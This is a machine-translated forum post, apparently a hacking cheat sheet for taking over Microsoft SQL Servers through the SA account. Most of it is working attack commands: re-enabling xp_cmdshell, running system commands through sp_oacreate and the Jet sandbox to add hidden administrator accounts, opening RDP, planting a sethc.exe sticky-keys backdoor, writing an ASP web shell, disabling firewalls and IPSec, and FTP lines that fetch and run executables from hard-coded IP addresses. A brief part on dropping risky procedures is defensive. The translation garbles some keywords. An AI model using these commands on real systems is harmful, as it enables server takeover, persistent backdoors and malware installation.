Ten artykuł jest lustrzanym artykułem tłumaczenia maszynowego, kliknij tutaj, aby przejść do oryginalnego artykułu.

Widok: 10941|Odpowiedź: 2

SqlTOOLS (narzędzie do kompleksowego wykorzystania SQL), nie ma zasobów w Internecie

[Skopiuj link]
Opublikowano 18.03.2015 10:36:56 | | | |


Rozkazy naprawczych z 1433 roku

net user SQLDebugger lista /add
net localgroup administrators SQLDebugger /add

Komunikat o błędzie: Nie udało się znaleźć procedury przechowywanej 'master.. xp_cmdshell'。

Metoda naprawy: bardzo ogólna, w rzeczywistości można naprawić inne 126 127 razem,

Tyle xplog70.dll wszystko inne można naprawić tym poleceniem

xp_cmdshell nowe metody odzyskiwania
Krok 1: Usuń:
Procedura zrzutu sp_addextendedproc
Procedura zrzutu sp_oacreate
Wykonawczy sp_dropextendedproc 'xp_cmdshell'
Serwer: Msg 3701, poziom 11, stan 5, linia 1
Nie jest możliwe usunięcie procesu "sp_addextendedproc", ponieważ nie istnieje on w katalogu systemowym.
Serwer: Msg 3701, poziom 11, stan 5, procedura sp_dropextendedproc, linia 18
Nie jest możliwe usunięcie procesu "xp_cmdshell", ponieważ nie istnieje on w katalogu systemowym.
Krok 2 Regeneracja:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
Bezpośrednie odzyskanie, niezależnie od tego, czy sp_addextendedproc istnieje, czy nie


xplog70.dll poprawki:

Komunikat o błędzie: Nie można było zamontować xplog70.dll DLL lub jednego z DLL wymienionych w DLL. Powód: 126 (Nie można znaleźć określonego modułu.) )。

Napraw XPLOG70.DLL (najpierw sprawdź katalog kopii zapasowej \x86\bin z plikiem, a potem zamień następujący katalog)

Krok 1
Wykonawczy sp_dropextendedproc 'xp_cmdshell'
Krok 2
dbcc addextendedproc ("xp_cmdshell","c:\sql2KSP4\x86\binn\xplog70.dll")


Nie udało się znaleźć procedury przechowywanej 'master.. xp_cmdshell'。
Krok 1:
Procedura tworzenia sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (właściciel) Nazwa funkcji do wywołania

*/
@dllname varchar(255)/* nazwa DLL zawierającej funkcję */
jako
Uruchom implicit_transactions
jeśli @@trancount > 0
zaczynaj
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
koniec
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
IDŹ

Krok 2:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'deklaruj @o int


SQL Server zablokował dostęp do procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', ponieważ ten komponent został wyłączony w ramach konfiguracji bezpieczeństwa tego serwera. Administratorzy systemu mogą włączyć 'xp_cmdshell', korzystając z sp_configure. Więcej informacji o włączaniu xp_cmdshell można znaleźć w Peripheral App Configurator w serii SQL Server Online Books.

; EXEC sp_configure 'pokaż zaawansowane opcje', 1 --
; PRZEKONFIGURUJ Z NADPISANIEM --
; DYREKTOR sp_configure 'xp_cmdshell', 1 --
; PRZEKONFIGURUJ Z NADPISANIEM --
; EXEC sp_configure 'pokaż zaawansowane opcje', 0 --


Usuń niebezpieczne pamięć SQL:
PROCEDURA ZRZUCENIA sp_makewebtask
Mistrz wykonawczy... sp_dropextendedproc xp_cmdshell
Mistrz wykonawczy... sp_dropextendedproc xp_dirtree
Mistrz wykonawczy... sp_dropextendedproc xp_fileexist
Mistrz wykonawczy... sp_dropextendedproc xp_terminate_process
Mistrz wykonawczy... sp_dropextendedproc sp_oamethod
Mistrz wykonawczy... sp_dropextendedproc sp_oacreate
Mistrz wykonawczy... sp_dropextendedproc xp_regaddmultistring
Mistrz wykonawczy... sp_dropextendedproc xp_regdeletekey
Mistrz wykonawczy... sp_dropextendedproc xp_regdeletevalue
Mistrz wykonawczy... sp_dropextendedproc xp_regenumkeys
Mistrz wykonawczy... sp_dropextendedproc xp_regenumvalues
Mistrz wykonawczy... sp_dropextendedproc sp_add_job
Mistrz wykonawczy... sp_dropextendedproc sp_addtask
Mistrz wykonawczy... sp_dropextendedproc xp_regread
Mistrz wykonawczy... sp_dropextendedproc xp_regwrite
Mistrz wykonawczy... sp_dropextendedproc xp_readwebtask
Mistrz wykonawczy... sp_dropextendedproc xp_makewebtask
Mistrz wykonawczy... sp_dropextendedproc xp_regremovemultistring
Mistrz wykonawczy... sp_dropextendedproc sp_OACreate
PROCEDURA ZRZUCENIA sp_addextendedproc


Przywracanie rozszerzonych procedur przechowywanych
Przywróć najpierw sp_addextendedproc, stwierdzenie brzmi następująco:
Po pierwsze:
Procedura tworzenia sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (właściciel) nazwa funkcji do wywołania */ @dllname varchar(255)/* nazwy DLL zawierającej funkcję */ jako
Uruchom implicit_transactions
jeśli @@trancount > 0   
zaczynaj
raiserror(15002,-1,-1,'sp_addextendedproc')   
return (1)   
koniec
dbcc addextendedproc( @functname, @dllname)   
return (0) -- sp_addextendedproc
IDŹ

Po drugie:
Użyj mastera   
Dyrektor sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll'   
Dyrektor sp_addextendedproc xp_dirtree, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_enumgroups, 'xplog70.dll'   
Wykonawczy sp_addextendedproc xp_fixeddrives, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_loginconfig, 'xplog70.dll'   
Wykonawczy sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll'   
Wykonawczy sp_addextendedproc xp_getfiledetails, 'xpstar.dll'   
Dyrektor sp_addextendedproc sp_OACreate, 'odsole70.dll'   
Dyrektor sp_addextendedproc sp_OADestroy, 'odsole70.dll'   
Dyrektor sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll'   
Wykonawczy sp_addextendedproc sp_OAGetProperty, 'odsole70.dll'   
Wykonawczy sp_addextendedproc sp_OAMethod, 'odsole70.dll'   
Dyrektor sp_addextendedproc sp_OASetProperty, 'odsole70.dll'   
Dyrektor sp_addextendedproc sp_OAStop, 'odsole70.dll'   
Dyrektor sp_addextendedproc xp_regaddmultistring, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_regdeletekey, 'xpstar.dll'   
Wykonawczy sp_addextendedproc xp_regdeletevalue, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_regenumvalues, 'xpstar.dll'   
Wykonawczy sp_addextendedproc xp_regread, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_regremovemultistring, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_regwrite, 'xpstar.dll'   
Dyrektor sp_addextendedproc xp_availablemedia, 'xpstar.dll'


Usuń zdanie rozszerzające procedurę przechowywaną xp_cmdshell:
Wykonawczy sp_dropextendedproc 'xp_cmdshell'


Recover the sql statement of cmdshell
egzekulator sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

Otwórz clan cmdshell SQL
egzekulator sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

Sprawdź, czy istnieje rozszerzenie pamięci
Wybierz count(*) z master.dbo.sysobjects, gdzie xtype='x' i name='xp_cmdshell'
Wynik to 1 i jest w porządku

Przywróć xp_cmdshell
exec master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Wybierz count(*) z master.dbo.sysobjects, gdzie xtype='x' i name='xp_cmdshell'
Wynik to 1 i jest w porządku
W przeciwnym razie przesyłaj xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'


Blokuj polecenie sql w cmdshell
sp_dropextendedproc "xp_cmdshell


Jeden. Zmiana metody hasła SA:
Po połączeniu z narzędziem SQL Comprehensive Utilization Tool wykonaj polecenie:
exec sp_password NULL, 'nowe hasło', 'sa'
(Podpowiedź: używaj ostrożnie!)


Dwa. Po prostu popraw słabe hasło.

Metoda 1: Zapytanie do splittera po podłączeniu:
jeśli istnieje (wybierz * z
dbo.sysobjects gdzie id = object_id(N'[dbo].[ xp_cmdshell]') oraz
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

IDŹ
Następnie naciśnij F5, aby wykonać polecenie


Metoda 2: Zapytanie po podłączeniu rozdzielacza
Pierwszym krokiem jest wykonanie: użycie mastera
Krok 2: sp_dropextendedproc 'xp_cmdshell'
Następnie naciśnij F5, aby wykonać polecenie

DLL xpsql70.dll lub jeden z DLL odwołanych przez DLL nie może być zamontowany. Powód 126 (Nie można znaleźć określonego modułu. )
Metoda odzyskiwania: Po zapytaniu połączenia splittera,
Krok 1: sp_dropextendedproc "xp_cmdshell"
Krok 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'


Funkcji xp_cmdshell nie można znaleźć w bibliotece xpweb70.dll. Powód: 127 (Nie można znaleźć określonego programu.) )
Metoda odzyskiwania: Po zapytaniu połączenia splittera,
Krok 1 Wykonanie: sp_dropextendedproc dyrektora 'xp_cmdshell'
Krok 2: wykonaj sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll'            
Następnie naciśnij F5, aby wykonać polecenie

Jeśli żadna z powyższych metod nie jest do odzyskania, spróbuj dodać konto bezpośrednio, korzystając z następujących metod:
Po zapytaniu połączenia splittera,
System 2000servser:
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'

declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'

XP lub 2003Server System: błąd 126! Kolejność

declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'

declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'


C:\>DIR C:\
SQL Server zablokował dostęp do procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', ponieważ ten komponent został wyłączony w ramach konfiguracji bezpieczeństwa tego serwera. Administratorzy systemu mogą włączyć 'xp_cmdshell', korzystając z sp_configure. Więcej informacji o włączaniu xp_cmdshell można znaleźć w Peripheral App Configurator w serii SQL Server Online Books.

Stwierdzenia wykonywane przez analizator:

EXEC sp_configure 'pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; EXEC sp_configure 'xp_cmdshell', 1; REKONFIGUROWAĆ;


Czasami podczas wykonywania powyższych instrukcji z połączeniem detacher zapytania procedura przechowywana nie może być odnaleziona sp_addextendedproc

Obejście:

Procedura tworzenia sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (właściciel) Nazwa funkcji do wywołania */
@dllname varchar(255)/* nazwa DLL zawierającej funkcję */
jako
Uruchom implicit_transactions
jeśli @@trancount > 0
zaczynaj
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
koniec
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
IDŹ
Kod ten jest wklejany do splittera zapytań i wykonywany

Explorer:
c:\windows\explorer.exe


Zobacz spis treści
Wykonawczy master.dbo.xp_subdirs 'C:\'
Dyski z listą
Mistrz wykonawczy... xp_fixeddrives


xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!

EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode', 'REG_DWORD',0
Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');
Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');

echo Windows Registry Editor Version 5.00 >3389.reg
Echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
echo "Włączone"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS\. DOMYŚLNY\Układ klawiatury\Przełącznik] >>3389.reg
echo "Skrót klawiszowy" ="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
regedit /s 3389.reg

Open 3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal','fDenyTSConnections','REG_DWORD',0; --


Przełęcz 3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

Sprawdź port 3389

exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber'


Normalne tylne wejście CMD
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe','debugger','reg_sz', 'c:\windows\system32\cmd.exe'


win2K trafia bezpośrednio do PS Mar
Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo pa>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')

win03-XP bezpośrednio na koniach PS
Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo pa>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')

5. Przesuń polecenie tylnego wejścia
deklaruj @o int
exec sp_oacreate 'scrip remove ting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile', null, 'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';

deklaruj @o int
exec sp_oacreate 'scrip remove ting.filesystemobject', @o out
np. sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Kopiuj c:\windows\explorer.exe c:\windows\system32\sethc.exe
Kopiuj c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

deklaruj @o int
Wykonawczy sp_oacreate 'wscrip usuń T.Shell', @o koniec
exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX to polecenie, które chcesz wykonać

Zapisz wartość określoną w kluczu określonym w rejestrze), używając metody (zapisz bbb w kluczu HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):

EXECUTIVE master... xp_regwrite

@rootkey='HKEY_LOCAL_MACHINE',

@key='SOFTWARE\aaa',

@value_name='aaaValue',

@type='REG_SZ',

@value='bbb'


@echo otwórz 121.22.56.5>c:\bin.txt&@echo lista>>c:\bin.txt&@echo lista>>c:\bin.txt&@echo dostać gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe


Najpierw skopiuj ftp.exe do katalogu wmpub
@echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat

Open 3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add

SQL pisze zdanie
Wykonawczy master.dbo.xp_subdirs 'D:\web\cdlxkj';
exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' ' '

Promocja trybu sandbox w SA -----
----------------------
Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',0;
-------------------------------------------------------
Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Baza danych=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
-------------------------------------------------------
Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

ZMIANA 3389

Użyte zdanie:
Inwazja
EXECUTIVE master... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE',
@value_name='Debugger',
@type='REG_SZ',
@value='C:\WINDOWS\explorer.exe'

Odbudowa
EXECUTIVE master... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE',
@value_name='Debugger',
@type='REG_SZ',
@value=''


Przejęcie obrazu

EXECUTIVE master... xp_regwrite --- to jest edycja rejestru!
@rootkey='HKEY_LOCAL_MACHINE', ---To jest pozycja!
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE', -----To też jest ta pozycja!
@value_name='Debugger', --- to jest nazwa stołu!
@type='REG_SZ', --- oto jest znaczenie pisania!
@value='C:\WINDOWS\explorer.exe' ---- oto treść pisemna!

Cały proces polega na użyciu master: xp_regwrite ten element zostanie wykonany,

1.sql polecenie zapytanie, czy klucz przyklejony rejestru został przejęty

Mistrz wykonawczy... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe','Debugger'

2.sql polecenie przejmuje funkcję przyklejanych rejestru i zastępuje ją menedżerem zadań (oczywiście możesz zastąpić ją innymi poleceniami, które chcesz)

xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe',
'Debugger','REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'

3.sql polecenie usuwające funkcję przejęcia z przyklejonego klucza rejestru chroni Twój serwer przed nadużyciami przez innych

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe'


Pliki do zapisu SQL

deklaruj @o int, @f int, @t int, @ret int
exec sp_oacreate 'scrip remove ting.filesystemobject', @o out
egec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'


Skrypty bez eskalacji NET

struser=wscrip do usunięcia t.arguments(0)
strpass=wscrip do usunięcia t.arguments(1)

set lp=createObject("Wscrip remove t.NETWORK")
oz="WinNT://"&lp. ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
od. SetPassword strpass
od. SetInfo
Zestaw =GetObject(oz&"/" & struser & ",user")
Oe. Add(of. ADsPath)

Dla każdego administratora w OE. Członkowie
if struser=admin. Nazwa wtedy
Wscrip usunął t.echo struser i "Ustalono!"
wscrip do usunięcia t.quit
koniec jeśli
Następny

Wscrip usuń t.echo struser i "User Establishment failed (nieudane)!"
Zapisz powyższe jako użytkownik. Plik VBS
Następnie wykonaj: cscrip, aby usunąć hasło użytkownika user.vbs


Korzystając z trybu piaskownicy JET, można rozwiązać problemy powodowane przez procedury przechowywane, takie jak XP_cmdshell i powiązane biblioteki dynamicznych łączy. Ze względów bezpieczeństwa system domyślnie nie włącza trybu sandbox, który wymaga od xp_regwrite włączenia trybu sandbox:

Dyrektor master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0
\Engines', 'SandBox Mode', 'REG_DWORD',1

Następnie wykonaj polecenie sandbox, aby dodać test użytkownika o nazwie użytkownika z hasłem 1234 do systemu:

select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup
administratorzy testują /add")')

Różne systemy operacyjne mają różne ścieżki i muszą być modyfikowane w zależności od sytuacji:

NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\

Dodatkowo, w Microsoft SQL Server 2005 niektóre procedury przechowywane są domyślnie zamknięte i wymagają poleceń do otwarcia:

Włącz XP_cmdshell:

EXEC sp_configure 'pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; DYREKTOR sp_configure
'xp_cmdshell', 1; REKONFIGUROWAĆ;

Otwórz 'OPENROWSET':

Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; sp_configure wykonawczy
'Ad hoc dystrybuowane zapytania',1; REKONFIGUROWAĆ;

Włącz 'sp_oacreate':

Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; sp_configure wykonawczy
'Stare procedury automatyzacji',1; REKONFIGUROWAĆ;

Oto kilka sytuacji, w których polecenie wykonania pod sa jest błędne:
1. DLL xpsql70.dll lub DLL odwołane przez DLL nie mogą być załadowane. Powód 126 (Nie można znaleźć określonego modułu. )
Taka sytuacja jest stosunkowo powszechna, a naprawa jest prosta i prosta, ale istnieją pewne warunki. Jeśli możesz wymienić katalog w tym przypadku (w sqltools v2.0 jest funkcja katalogu), gratulacje z powodu tej 80% opcji można rozwiązać, jeśli możesz wypisać katalog, to po prostu znajdź ścieżkę xplog70.dll i wykonaj następujące polecenie.
Krok 1
exec sp_dropextendedproc 'xp_cmdshell' (to polecenie ma na celu usunięcie oryginalnego cmdshell, ponieważ już się zepsuł)
Krok 2
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll")
; EXEC sp_configure 'pokaż zaawansowane opcje', 0 –
Oczywiście jest to polecenie sql, wykonywane za pomocą analizatora zapytań. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll w drugim kroku to ścieżka xplog70.dll, ta ścieżka jest dość powszechna, jeśli dysk C jej nie ma, można znaleźć inne litery dysku.
2. Nie mogę znaleźć funkcji xp_cmdshell w bibliotece xpweb70.dll. Powód: 127 (Nie można znaleźć określonego programu.) )
W rzeczywistości jest to to samo co powyżej 126, czyli cmdshell jest błędny, o ile znajdziesz kopię zapasową xplog70.dll stosujesz powyższą metodę, aby ją naprawić.
3. Nie udało się znaleźć zapisanej procedury 'master'. xpcmdshell'
W tym przypadku widzę w Internecie, że metoda wygląda następująco:
Krok 1: Usuń:
Procedura zrzutu sp_addextendedproc
Procedura zrzutu sp_oacreate
Wykonawczy sp_dropextendedproc 'xp_cmdshell'
Krok 2 Regeneracja:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
W rzeczywistości jest to nadal takie samo jak powyżej, w rzeczywistości, jeśli będziesz ostrożny, powyższe 126 127 nie znajdzie tylko procedury przechowywanej 'master:. xpcmdshell', ponieważ pierwszym krokiem jest usunięcie procedury przechowywanej w cmdshell. W tym przypadku po prostu postępuj według drugiego kroku powyżej.
4. Komunikat o błędzie: SQL Server zablokował dostęp do procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', ponieważ ten komponent został wyłączony w ramach konfiguracji zabezpieczeń tego serwera. Administratorzy systemu mogą włączyć 'xp_cmdshell', korzystając z sp_configure. Więcej informacji o włączaniu xp_cmdshell można znaleźć w Peripheral App Configurator w serii SQL Server Online Books.
Ta sytuacja jest najprostsza, bo nie musisz o niczym myśleć, wystarczy wykonać następujące polecenie
; EXEC sp_configure 'pokaż zaawansowane opcje', 1 --
; PRZEKONFIGURUJ Z NADPISANIEM --
; DYREKTOR sp_configure 'xp_cmdshell', 1 --
; PRZEKONFIGURUJ Z NADPISANIEM --
; EXEC sp_configure 'pokaż zaawansowane opcje', 0 –

Po powyższym poprawku możesz wykonać komendę cmd i zaczniesz podnosić swoją moc. Zazwyczaj najpierw sprawdzam adres IP, czy to intranet, a potem zapytanie REG HKLM\SYSTEM\CurrentControl\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber w celu sprawdzenia portu terminala, a następnie netstat –an, żeby sprawdzić, czy terminal jest otwarty, a następnie hasło użytkownika netu / Dodaj użytkownika, a następnie włącz się do administratorów lokalnej grupy użytkownika /dodaj. Jeśli wszystko pójdzie dobrze, serwer zostanie wyłączony. Ale w tym procesie pojawia się wiele problemów.
1. Promocja netto mocy jest skuteczna, ale nie może się połączyć z terminalem Występują następujące sytuacje
(1) Serwer znajduje się w intranecie.
(2) Screening TCP/IP.
Najpierw wykonaj następujące polecenie cmd:
cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, eksportuj pierwszą część rejestru do filtrowania TCP/IP
cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, eksportuj drugą część rejestru do filtrowania TCP/IP
cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", eksportując trzecie miejsce w rejestrze dotyczącym filtrowania TCP/IP
Następnie wróć do dysku C 1.reg, 2.reg, 3.reg, pobierz 1.reg, 2.reg 3.reg wróć na dysk, aby edytować, znajdź pole EnableSecurityFilters i sprawdzić, czy wartość klucza po dword to 00000000, jeśli jest 00000001, oznacza to, że administrator przeprowadził filtrowanie TCP/IP, wystarczy zmienić 1 na 0, 2. Reg i 3.reg wprowadzają te same zmiany.
(3) Utworzenie polityki bezpieczeństwa własności intelektualnej.
Wykonaj polecenie cmd: cmd /c net stop policyagent, aby zatrzymać usługę IPSEC Services. Podłącz ponownie terminal.
(4) Uprawnienia logowania do zestawu terminala przez administratora mogą być używane tylko przez wskazanego użytkownika.
(5) Firewall. Wykonaj polecenie cmd: net stop alg /ynet stop sharedaccess

2. Pojawia się eskalacja NET i odmowa dostępu
Możesz spróbować hasła użytkownika net1 /add Jeśli net1 również odmawia dostępu, możesz skopiować shfit backdoor i spróbować wykonać polecenie cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
Kopiuj c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
Jeśli zostanie zapytany, skopiuj jeden plik, co się udaje. Połącz się z terminalem i naciśnij 5 shift, żeby zobaczyć, co się pojawi. Pobaw się Kaka Explorerem, teraz po prostu dodaj użytkownika ręcznie.
3. Eskalacja sieci następuje przy błędzie odmowy dostępu 5 (podświetlenie)
W takim przypadku nie musisz próbować net1, możesz spróbować copy shift backdoor, jeśli kopiowanie poprosi o skopiowanie pliku 0, to dowodzi, że nie powiodło się. Potem możesz spróbować go przesłać, jeśli możesz, możesz bezpośrednio wysłać narzędzie do eskalacji zasilania spoza sieci, które pojawiło się jakiś czas temu, a potem dodać użytkownika. Ale większości tych przypadków nie da się przesłać, więc trzeba się nad tym zastanowić. Ponieważ cmd można wykonać, plik można pobrać przez cmd pod ftp, ale założeniem ftp jest możliwość zapisywania tekstu lub przetwarzania wsadowego. Następnie możesz napisać tekst lub partię przez instrukcję SQL.
deklaruj @o int, @f int, @t int, @ret int
exec sp_oacreate 'scrip remove ting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP'
